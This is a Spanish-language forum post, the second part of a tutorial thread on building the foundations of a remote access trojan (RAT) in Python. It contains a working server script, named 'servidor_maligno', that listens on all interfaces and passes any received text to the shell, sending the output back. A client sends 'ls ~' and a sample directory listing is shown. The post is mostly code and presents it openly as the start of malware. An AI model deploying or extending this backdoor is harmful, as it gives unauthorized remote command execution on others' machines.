Ver Mensaje Individual
  #2 (permalink)  
Antiguo 23/01/2015, 20:38
AlanChavez
 
Fecha de Ingreso: junio-2010
Ubicación: Charlotte, NC
Mensajes: 611
Antigüedad: 13 años, 11 meses
Puntos: 95
Respuesta: [APORTE] Cimientos de una RAT en Python

PARTE 2

Si te das cuenta, el puerto que se muestra después de la dirección IP, es el puerto que el sistema operativo del cliente utilizó para establecer la conexión con el servidor. Éste puerto no es necesariamente el mismo puerto que el servidor utiliza para aceptar conexiones.

También, como podrás darte cuenta, es relativamente sencillo modificar el servidor para que ejecute comandos remotamente. Por ejemplo, si modificas el servidor para que ejecute comandos y regrese la salida de ese comando, puedes empezar a construir una RAT bastante rudimentaria:

Código python:
Ver original
  1. # servidor_maligno.py
  2. import socket
  3. import threading
  4. from subprocess import Popen
  5. from subprocess import PIPE
  6.  
  7. def administrar_clientes(socket_cliente):
  8.     peticion = socket_cliente.recv(1024)
  9.     print "[*] Mensaje recibido: %s" % peticion
  10.     respuesta = Popen(peticion, shell=True, stdout=PIPE).stdout.read()
  11.     # confirmar al cliente, que el mensaje fue recibido
  12.     socket_cliente.send(respuesta)
  13.     socket_cliente.close()
  14.  
  15. ip = "0.0.0.0"
  16. puerto = 39421
  17. max_conexiones = 5
  18. servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  19.  
  20. servidor.bind((ip, puerto))
  21. servidor.listen(max_conexiones)
  22.  
  23. print "[*] Esperando conexiones en %s:%d" % (ip, puerto)
  24.  
  25. while True:
  26.     cliente, direccion = servidor.accept()
  27.     print "[*] Conexion establecida con %s:%d" % (direccion[0], direccion[1])
  28.     administrador_de_clientes = threading.Thread(target=administrar_clientes, args=(cliente,))
  29.     administrador_de_clientes.start()

Código python:
Ver original
  1. # cliente_maligno.py
  2. import socket
  3.  
  4. servidor = "127.0.0.1"
  5. puerto = 39421
  6.  
  7. cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  8. cliente.connect((servidor, puerto))
  9. # solicitamos la lista de archivos del home del usuario
  10. cliente.send("ls ~");
  11. respuesta = cliente.recv(4096)
  12. print respuesta

Código bash:
Ver original
  1. $ python cliente.py
  2. Applications
  3. Backups
  4. Desktop
  5. Documents
  6. Downloads